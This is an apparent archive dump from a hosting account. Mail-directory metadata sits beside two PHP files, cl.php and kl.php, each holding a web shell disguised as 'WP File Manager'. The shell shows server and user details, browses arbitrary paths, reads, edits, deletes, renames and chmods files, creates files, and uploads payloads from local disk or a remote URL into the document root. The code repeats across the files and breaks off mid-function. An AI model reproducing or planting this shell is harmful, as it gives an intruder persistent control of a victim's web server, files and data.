"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ʙ 3BB+artan.ukshini@dunyagozbalkans.com/.metadatanu"º] €[addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 [calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 PK’&{]„N9³§Ë§Ë(artan.ukshini@dunyagozbalkans.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ë(artan.ukshini@dunyagozbalkans.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), 